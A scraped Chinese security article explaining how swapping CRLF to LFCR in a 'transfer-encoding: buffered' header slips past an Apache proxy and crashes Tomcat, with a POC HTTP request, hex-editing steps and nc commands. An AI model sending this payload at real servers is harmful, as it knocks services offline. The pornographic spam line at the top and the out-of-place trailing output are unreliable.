自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

繞過Apache http代理繼續(xù)DoS tomcat

安全
從長遠(yuǎn)的角度講,一個完整的安全方案,應(yīng)該是和現(xiàn)有架構(gòu)本身的特性,是分開的,它并不能因?yàn)楝F(xiàn)有應(yīng)用架構(gòu)攔截了攻擊,于是自己就表示影響不大。如果安全方案總是依靠應(yīng)用現(xiàn)有的特性,那就要承受可能被繞過的隱患,這種隱患,導(dǎo)致我們總有一天,會不得不把補(bǔ)丁老老實(shí)實(shí)的打上去。如本文就是一個很好的例子。

從長遠(yuǎn)的角度講,一個完整的安全方案,應(yīng)該是和現(xiàn)有架構(gòu)本身的特性,是分開的,它并不能因?yàn)楝F(xiàn)有應(yīng)用架構(gòu)攔截了攻擊,于是自己就表示影響不大。如果安全方案總是依靠應(yīng)用現(xiàn)有的特性,那就要承受可能被繞過的隱患,這種隱患,導(dǎo)致我們總有一天,會不得不把補(bǔ)丁老老實(shí)實(shí)的打上去。如本文就是一個很好的例子。

筆者根據(jù)TOMCAT的補(bǔ)丁,分析出了攻擊未修補(bǔ)版本的POC,相信不少人體驗(yàn)了一把。然而在實(shí)際使用中,只有小公司喜歡把tomcat放在最外面。大企業(yè)都喜歡在tomcat外面使用apache等web server轉(zhuǎn)發(fā),以便獲得更好的響應(yīng)速度,或者為了分離靜態(tài)文件,減輕服務(wù)器壓力。

對于這樣的情況,你會發(fā)現(xiàn)使用筆者給的POC,這里是無效的,關(guān)于這一點(diǎn),官方如下描述“This flaw is mitigated if Tomcat is behind a reverse proxy (such as Apache httpd 2.2) as the proxy should reject the invalid transfer encoding header.”他說如果你的tomcat外面還有一層web server做轉(zhuǎn)發(fā),就會減輕這個漏洞帶來的危害。

也許大家看到這個,放心了很多,就沒有修補(bǔ)。

官方這么講,是什么原理呢?我們看下攻擊的POC:

POST /CodePK/updateinfo HTTP/1.1

Host: localhost

Keep-Alive: 300

Connection: keep-alive

transfer-encoding: buffered

Content-Length: 145

u_uid=admin&u_pwd0=123456&u_pwd1=&u_pwd2=&u_email=rfes%40rfes.com&u_location=B2B&u_lang=1&u_web=22222222&u_quote=ffvd&u_submit=%E6%8F%90%E4%BA%A4

遇到這樣的HTTP頭,apache會因?yàn)橛小眛ransfer-encoding: buffered”,則自動攔截下來,自己處理掉這個數(shù)據(jù)包,不交給tomcat處理,并直接返回錯誤。這是出于apache自己的原因造成的,但是這不重要。重要的是,這個攔截的機(jī)制,能否被繞過。TOMCAT仍然老老實(shí)實(shí)的在apache后面等候數(shù)據(jù)包,如果能繞過,它就會再次忠實(shí)的睡大覺。要繞過apache的“自動攔截”(這個名字好記點(diǎn)),就必須讓apache不認(rèn)識這個頭。

發(fā)個數(shù)據(jù)包,這是攔截后返回的信息:

A:\tools>nc -vv localhost 80 < aa.txt

DNS fwd/rev mismatch: kxlzx != localhost

billgates [127.0.0.1] 80 (http) open

HTTP/1.1 500 Internal Server Error

……..省略

The server encountered an internal error or

misconfiguration and was unable to complete

your request.

…….省略

Apache返回了500 Internal Server Error,如果去掉那個頭”transfer-encoding: buffered”,返回就200 OK了,但是也就打不死了。

看起來這是個死循環(huán),永遠(yuǎn)搞不定,所以tomcat官方也說了能減輕危害。

但是,如果apache和tomcat對某些字符的理解不一致,可能會apache放過某些字符,但是tomcat卻剛巧認(rèn)識,又如果這個字符剛好能影響到這里,就會bypass這個所謂的“防御架構(gòu)”,所以我們找找看有沒有這樣“猥瑣”的字符存在。

Apache和Tomcat實(shí)現(xiàn)原理不一樣(廢話),所以,對一些字符可能理解不一致,是正常的。

我們先看看大家對http heads的分段是如何理解的,我查到“CRLF”,從apache源碼中看到,它把crlf定義為“\r\n”,轉(zhuǎn)換為也就是16進(jìn)制的“0D 0A”(為什么提16進(jìn)制等下講),這個供參考:https://svn.apache.org/repos/asf/httpd/flood/trunk/flood_test.c

其實(shí)我不熟悉C,也不知道這段主要是做什么的,但是看到它的確定義了

“#define CRLF "\r\n"”,只有這一個對crlf的定義。

這有什么用呢?這其實(shí)表示,apache所理解CRLF,就是“\r\n”,它不認(rèn)識“\n\r”(看仔細(xì)點(diǎn),反過來了)。

悲劇的是,tomcat和JBOSS認(rèn)識它們,并且很喜歡它們!

Tomcat和jboss對這個東西的定義含義是

“If (xx==’\r’|| xx==’\n’)”

就是說,不但把字符反過來寫它們認(rèn)識,就算拆成骨頭,TOMCAT和JBOSS也認(rèn)識。

知道了這個關(guān)鍵點(diǎn),下面思路就有了。我們把”transfer-encoding: buffered”這個字段,偽裝成其他字段的一部分,讓apache放過去,交給tomcat處理就可以了。

POC:

于是我使用16進(jìn)制編輯器,UltraEdit打開我復(fù)制出來的數(shù)據(jù)包文件aa.txt

找到

transfer-encoding: buffered

把這一行之前的字符

注意括起來的兩個地方,把它們順序分別顛倒一下,兩個地方的“0D 0A”都改為“0A 0D”。改后如下:

原來包是這樣的:

Connection: keep-alive         這是字段1

transfer-encoding: buffered   這是字段2

Content-Length: 145           這是字段3

三個字段其實(shí)屬于同一個字符串,他們的間隔本來是“\r\n”,我們改為“\n\r”。一旦這個包發(fā)給apache后,apache認(rèn)為只有一個字段”Connection”過來了,接著就把這個字段原封不動的交給tomcat。#p#

可憐的tomcat看到這個包,卻認(rèn)為它是三個字段,解開了這個炸藥包,所以,砰。。。掛了

現(xiàn)在把我改后的文件,使用nc提交上去:

責(zé)任編輯:佟健 來源: IT專家網(wǎng)
相關(guān)推薦

2011-03-15 08:54:43

2009-06-26 10:07:16

2014-10-22 09:36:41

TCPIP

2011-04-07 09:06:31

Tomcat

2012-05-18 15:52:49

JavaApacheTomcat

2012-05-30 10:09:57

ApacheTomcat

2013-04-26 10:59:54

目錄遍歷漏洞

2013-07-09 14:36:24

2024-04-26 09:04:13

2017-02-12 22:29:59

2011-12-07 10:34:29

JavaTomcat

2011-02-25 11:16:38

ApacheTomcat

2015-12-02 14:10:56

HTTP網(wǎng)絡(luò)協(xié)議代理原理

2015-12-02 15:29:32

HTTP網(wǎng)絡(luò)協(xié)議代理原理

2020-08-11 08:25:21

HTTPSSHLinux防火墻

2013-08-08 10:09:22

ApacheTomcatJavaEE 7

2014-04-18 09:55:49

Tomcat 8NIO 2

2009-07-06 17:49:02

Apache的配置JBoss的配置

2009-08-05 22:19:15

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號

          <cite id="heuto"></cite>
          1. A:\tools>nc -vv localhost 80 < aa.txt

            DNS fwd/rev mismatch: kxlzx != localhost

            billgates [127.0.0.1] 80 (http) open

            HTTP/1.1 404 Not Found

            Date: Sat, 24 Jul 2010 01:48:34 GMT

            Server: Apache-Coyote/1.1

            Content-Type: text/html;charset=utf-8

            Content-Length: 1006

            Keep-Alive: timeout=5, max=100

            Connection: Keep-Alive